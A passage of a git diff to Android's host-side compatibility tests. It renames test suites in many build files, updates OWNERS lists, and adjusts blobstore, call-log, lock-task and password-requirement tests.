-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-cert_dir :=
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/base.mk b/hostsidetests/appsecurity/test-apps/tinyapp/base.mk
deleted file mode 100644
index cc6b91e..0000000
--- a/hostsidetests/appsecurity/test-apps/tinyapp/base.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-#
-# Copyright (C) 2020 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-# Base setup that can be included by all builds of this package.
-include $(CLEAR_VARS)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
-LOCAL_SDK_VERSION := current
-
diff --git a/hostsidetests/backup/Android.bp b/hostsidetests/backup/Android.bp
index dbc957c..c60681c 100644
--- a/hostsidetests/backup/Android.bp
+++ b/hostsidetests/backup/Android.bp
@@ -30,6 +30,9 @@
         "cts-tradefed",
         "tradefed",
         "compatibility-host-util",
+    ],
+    static_libs: [
         "truth-prebuilt",
+        "platformprotos",
     ],
 }
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/DataPersistenceTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/DataPersistenceTest.java
index 973ca8b..076819b 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/DataPersistenceTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/DataPersistenceTest.java
@@ -31,7 +31,7 @@
         rebootAndWaitUntilReady();
         runDeviceTest(TARGET_PKG, TEST_CLASS, "testOpenSessionAndWrite");
         rebootAndWaitUntilReady();
-        runDeviceTest(TARGET_PKG, TEST_CLASS, "testCommitSession");
+        runDeviceTest(TARGET_PKG, TEST_CLASS, "testCommitSessionAndAcquireLease");
         rebootAndWaitUntilReady();
         runDeviceTest(TARGET_PKG, TEST_CLASS, "testOpenBlob");
     }
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
index 058675b..c919b8f 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/BaseBlobStoreDeviceTest.java
@@ -39,7 +39,7 @@
 
     protected static final long PARTIAL_FILE_LENGTH_BYTES = 2002;
     protected static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
-    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 50_000;
+    protected static final long TIMEOUT_COMMIT_CALLBACK_MS = 100_000;
 
     protected Context mContext;
     protected Instrumentation mInstrumentation;
diff --git a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
index 2efc523..90a406c 100644
--- a/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
+++ b/hostsidetests/blobstore/test-apps/BlobStoreHostTestHelper/src/com/android/cts/device/blob/DataPersistenceTest.java
@@ -75,7 +75,7 @@
     }
 
     @Test
-    public void testCommitSession() throws Exception {
+    public void testCommitSessionAndAcquireLease() throws Exception {
         final long sessionId = readSessionIdFromDisk();
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
@@ -83,6 +83,8 @@
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_MS, TimeUnit.MILLISECONDS))
                     .isEqualTo(0);
         }
+        final BlobHandle blobHandle = readBlobHandleFromDisk();
+        mBlobStoreManager.acquireLease(blobHandle, "test desc");
     }
 
     @Test
diff --git a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
index 272a3df..42922e1 100644
--- a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
+++ b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
@@ -44,11 +44,6 @@
     private static final String CLASS = PKG + ".CallLogDirectBootTest";
     private static final String APK = "CtsCallLogDirectBootApp.apk";
 
-    private static final String MODE_EMULATED = "emulated";
-    private static final String MODE_NONE = "none";
-
-    private static final long SHUTDOWN_TIME_MS = 30 * 1000;
-
     @Before
     public void setUp() throws Exception {
         assertNotNull(getAbi());
@@ -64,9 +59,8 @@
 
     @Test
     public void testDirectBootCallLog() throws Exception {
-        String fbeMode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
-        if (MODE_NONE.equals(fbeMode)) {
-            Log.i(TAG, "Device doesn't support FBE, skipping.");
+        if (!"file".equals(getDevice().getProperty("ro.crypto.type"))) {
+            Log.i(TAG, "Device doesn't use FBE, skipping.");
             return;
         }
         try {
@@ -85,16 +79,7 @@
 
             Log.i(TAG, "Rebooting device");
             // Reboot system into known state with keys ejected
-            if (MODE_EMULATED.equals(fbeMode)) {
-                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
-                if (res != null && res.contains("Emulation not supported")) {
-                    return;
-                }
-                getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                getDevice().waitForDeviceOnline(120000);
-            } else {
-                getDevice().rebootUntilOnline();
-            }
+            getDevice().rebootUntilOnline();
             waitForBootCompleted(getDevice());
 
             assertTrue(runDeviceTests(PKG, CLASS, "testShadowCallComposerPicture"));
@@ -110,13 +95,7 @@
                 getDevice().uninstallPackage(PKG);
 
                 // Get ourselves back into a known-good state
-                if (MODE_EMULATED.equals(fbeMode)) {
-                    getDevice().executeShellCommand("sm set-emulate-fbe false");
-                    getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
-                    getDevice().waitForDeviceOnline();
-                } else {
-                    getDevice().rebootUntilOnline();
-                }
+                getDevice().rebootUntilOnline();
                 getDevice().waitForDeviceAvailable();
             }
         }
diff --git a/hostsidetests/car/OWNERS b/hostsidetests/car/OWNERS
index d4705b9..c5bee2d 100644
--- a/hostsidetests/car/OWNERS
+++ b/hostsidetests/car/OWNERS
@@ -1,4 +1,2 @@
 # Bug component: 526680
-felipeal@google.com
-gurunagarajan@google.com
-keunyoung@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/hostsidetests/classloaders/OWNERS b/hostsidetests/classloaders/OWNERS
index e7c6bf7..18f4805 100644
--- a/hostsidetests/classloaders/OWNERS
+++ b/hostsidetests/classloaders/OWNERS
@@ -1,6 +1,8 @@
 # Bug component: 86431
-calin@google.com
+jiakaiz@google.com
+mast@google.com
 ngeoffray@google.com
 oth@google.com
+rpl@google.com
 skvadrik@google.com
-vmarko@google.com
\ No newline at end of file
+vmarko@google.com
diff --git a/hostsidetests/content/OWNERS b/hostsidetests/content/OWNERS
index 84911ce..6f4eaa8 100644
--- a/hostsidetests/content/OWNERS
+++ b/hostsidetests/content/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 197138
-svetoslavganov@google.com
+omakoto@google.com
+varunshah@google.com
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index 3432898..b09e4db 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -32,7 +32,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     static_libs: [
         "cts-statsd-atom-host-test-utils",
diff --git a/hostsidetests/devicepolicy/OWNERS b/hostsidetests/devicepolicy/OWNERS
index 19b6194..cf88726 100644
--- a/hostsidetests/devicepolicy/OWNERS
+++ b/hostsidetests/devicepolicy/OWNERS
@@ -1,2 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
index defd5f6..cde714b 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
@@ -23,7 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["TestOnlyOwner/res"],
@@ -44,7 +44,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["NonTestOnlyOwner/res"],
@@ -65,7 +65,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src-owner/**/*.java"],
     resource_dirs: ["TestOnlyOwnerUpdate/res"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
index 7117a4c..3a04c96 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
@@ -23,7 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
index 3d524bb..76f664b 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
@@ -23,7 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
index 8ab3eb8..a1e9a3f 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
@@ -24,7 +24,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
index c9688e8..3b740ff 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
@@ -27,7 +27,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     static_libs: [
         "DpmWrapper",
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.bp b/hostsidetests/devicepolicy/app/Assistant/Android.bp
index 7ef13dc..4eede47 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.bp
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.bp
@@ -26,7 +26,7 @@
         "general-tests",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     static_libs: [
         "androidx.legacy_legacy-support-v4",
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
index f78e06a..97218f8 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
@@ -25,7 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
index 83e8380..d178a9e 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
@@ -39,6 +39,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
index f4fbd663..bbd5cf6 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
@@ -24,7 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
index fffaa33..1b960b3 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
@@ -25,7 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
index 09554c2..c69414d 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
@@ -25,7 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
index e98b934..18fc28e 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -25,7 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
index 8ee2426..1bd51cc 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
@@ -46,7 +46,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
 
@@ -75,7 +75,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     aaptflags: [
         "--rename-manifest-package",
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
index dc719d4..07fa05e 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
@@ -35,6 +35,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
index ec78ab2..c137ad2 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
@@ -34,6 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
index f7d31e3..ffca3b3 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
@@ -34,6 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
index 8cb5d00..30ce152 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
@@ -34,6 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
index cdb5335..49ca07f 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
@@ -34,6 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
index 071cc2e..323b377 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
@@ -34,6 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index ba0c260..5ea1218 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -34,6 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
index ad51a93..61a60e4 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 168445
 file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
-pbdr@google.com
+pbdr@google.com
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
index 64303d7..3ace6d7 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
@@ -23,7 +23,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
index 93b5304..ab815d5 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
@@ -39,6 +39,6 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
index 5f8d9ce..a4c32bc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
@@ -36,7 +36,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api23/AndroidManifest.xml",
 }
@@ -63,7 +63,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api24/AndroidManifest.xml",
 }
@@ -88,7 +88,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api29/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
index b723aca..d43959f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
@@ -31,7 +31,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "package1/AndroidManifest.xml",
 }
@@ -51,7 +51,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "package2/AndroidManifest.xml",
 }
@@ -71,7 +71,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "package3/AndroidManifest.xml",
 }
@@ -91,7 +91,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "package4/AndroidManifest.xml",
 }
@@ -111,7 +111,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "packageb/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index b91fec2..b73b888 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -43,7 +43,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api23/AndroidManifest.xml",
 }
@@ -78,7 +78,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api25/AndroidManifest.xml",
 }
@@ -111,7 +111,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api30/AndroidManifest.xml",
 }
@@ -148,7 +148,7 @@
         "arcts",
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "latest/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index fcc7d5d..472cdbc 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -44,7 +44,7 @@
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:networkSecurityConfig="@xml/network_security_config"
-         android:testOnly="true">
+         android:testOnly="true" android:debuggable="true">
 
         <uses-library android:name="android.test.runner"/>
         <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 67a5085..76126cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -127,6 +127,8 @@
     protected UserManager mUserManager;
     protected Context mContext;
     protected boolean mHasSecureLockScreen;
+    protected boolean mIsAutomotive;
+    protected boolean mIsDeviceOwnerTest;
     static CountDownLatch mOnPasswordExpiryTimeoutCalled;
 
     protected final String mTag = getClass().getSimpleName();
@@ -141,12 +143,14 @@
 
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        mIsAutomotive = mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE);
 
-        boolean isDeviceOwnerTest = "DeviceOwner"
+        mIsDeviceOwnerTest = "DeviceOwner"
                 .equals(InstrumentationRegistry.getArguments().getString("admin_type"));
 
         mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
-                BasicAdminReceiver.class, isDeviceOwnerTest);
+                BasicAdminReceiver.class, mIsDeviceOwnerTest);
 
         Log.v(TAG, "setup(): dpm for " + getClass() + " and user " + mContext.getUserId() + ": "
                 + mDevicePolicyManager);
@@ -159,7 +163,7 @@
         Log.d(mTag, "setup() on user " + mContext.getUserId() + ": package=" + PACKAGE_NAME
                 + ", adminReceiverComponent=" + ADMIN_RECEIVER_COMPONENT
                 + ", isActiveAdmin=" + isActiveAdmin + ", isProfileOwner=" + isProfileOwner
-                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + isDeviceOwnerTest);
+                + ", isDeviceOwner=" + isDeviceOwner + ", isDeviceOwnerTest=" + mIsDeviceOwnerTest);
 
         assertWithMessage("active admin for %s", ADMIN_RECEIVER_COMPONENT).that(isActiveAdmin)
                 .isTrue();
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
index 0624489..9c8ba24 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
@@ -36,6 +36,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import java.time.Duration;
+import com.android.compatibility.common.util.PollingCheck;
 
 /**
  * Test class that is meant to be driven from the host and can't be run alone, which is required
@@ -124,8 +125,10 @@
         String activityName =
                 mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity.getClassName();
         assertEquals(LOCK_TASK_ACTIVITY, activityName);
-        assertEquals(
-                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
+
+        PollingCheck.waitFor(
+                () -> (mActivityManager.getLockTaskModeState()
+                        == ActivityManager.LOCK_TASK_MODE_LOCKED));
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
index f9ce726..59a5a5c6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -22,18 +22,22 @@
 
 import static org.testng.Assert.assertThrows;
 
+import android.util.Log;
+
 /**
  * Class that tests password constraints API preconditions.
  */
 public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+
     private static final int TEST_VALUE = 5;
+
+    private static final int DEFAULT_LENGTH = 0;
     private static final int DEFAULT_NUMERIC = 1;
     private static final int DEFAULT_LETTERS = 1;
     private static final int DEFAULT_UPPERCASE = 0;
     private static final int DEFAULT_LOWERCASE = 0;
     private static final int DEFAULT_NON_LETTER = 0;
     private static final int DEFAULT_SYMBOLS = 1;
-    private static final int DEFAULT_LENGTH = 0;
 
     public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
         // Pre-R password restrictions can be set in any order.
@@ -51,23 +55,46 @@
         // Make sure these values are preserved and not reset when quality is set low.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
